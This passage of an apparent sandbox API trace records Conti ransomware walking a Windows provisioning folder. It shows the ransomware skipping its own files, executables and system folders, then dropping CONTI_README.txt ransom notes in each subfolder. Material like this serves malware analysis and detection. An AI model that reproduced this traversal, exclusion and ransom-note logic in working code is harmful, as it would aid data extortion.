	[0106.473] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54134c0b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1144, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1
	[0106.473] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.473] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.473] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.473] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned 76
	[0106.473] lstrlenW (lpString="customizations.xml") returned 18
	[0106.473] GetProcessHeap () returned 0x1720000
	[0106.473] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cb5d0
	[0106.473] lstrcpyW (in: lpString1=0x17cb5d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}"
	[0106.473] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\"
	[0106.473] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"
	[0106.473] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540c24cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0106.473] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.473] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.473] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.474] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.474] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned 76
	[0106.474] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.474] GetProcessHeap () returned 0x1720000
	[0106.474] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d4a8
	[0106.474] lstrcpyW (in: lpString1=0x181d4a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}"
	[0106.474] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\"
	[0106.474] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml"
	[0106.474] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.474] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.474] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned 76
	[0106.474] lstrlenW (lpString="Prov") returned 4
	[0106.474] GetProcessHeap () returned 0x1720000
	[0106.474] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.474] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}"
	[0106.474] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\"
	[0106.474] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov"
	[0106.474] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned 81
	[0106.474] GetProcessHeap () returned 0x1720000
	[0106.474] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6510498
	[0106.474] lstrcpyW (in: lpString1=0x6510498, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov"
	[0106.474] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*"
	[0106.475] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned 81
	[0106.475] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.475] GetProcessHeap () returned 0x1720000
	[0106.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d718
	[0106.475] lstrcpyW (in: lpString1=0x181d718, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov"
	[0106.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\"
	[0106.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\CONTI_README.txt"
	[0106.475] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.480] GetProcessHeap () returned 0x1720000
	[0106.480] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d718 | out: hHeap=0x1720000) returned 1
	[0106.480] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.481] CloseHandle (hObject=0x3a0) returned 1
	[0106.481] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534e0880, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0106.481] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.481] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534e0880, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.481] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.481] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.481] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534e0880, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x534e0880, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x534e0880, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.481] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.481] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.481] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.481] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.481] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.481] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.482] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.482] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned 81
	[0106.482] lstrlenW (lpString="RunTime") returned 7
	[0106.482] GetProcessHeap () returned 0x1720000
	[0106.482] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.482] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov"
	[0106.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\"
	[0106.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime"
	[0106.482] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned 89
	[0106.482] GetProcessHeap () returned 0x1720000
	[0106.482] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.482] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime"
	[0106.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*"
	[0106.483] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned 89
	[0106.483] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.483] GetProcessHeap () returned 0x1720000
	[0106.483] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c7180
	[0106.483] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime"
	[0106.483] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\"
	[0106.483] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.483] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.485] GetProcessHeap () returned 0x1720000
	[0106.485] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.485] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.485] CloseHandle (hObject=0x398) returned 1
	[0106.485] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53507c33, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0106.486] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.486] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53507c33, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.486] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.486] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.486] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1
	[0106.486] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.486] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.486] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.486] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned 89
	[0106.486] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.486] GetProcessHeap () returned 0x1720000
	[0106.486] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c7180
	[0106.486] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime"
	[0106.486] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\"
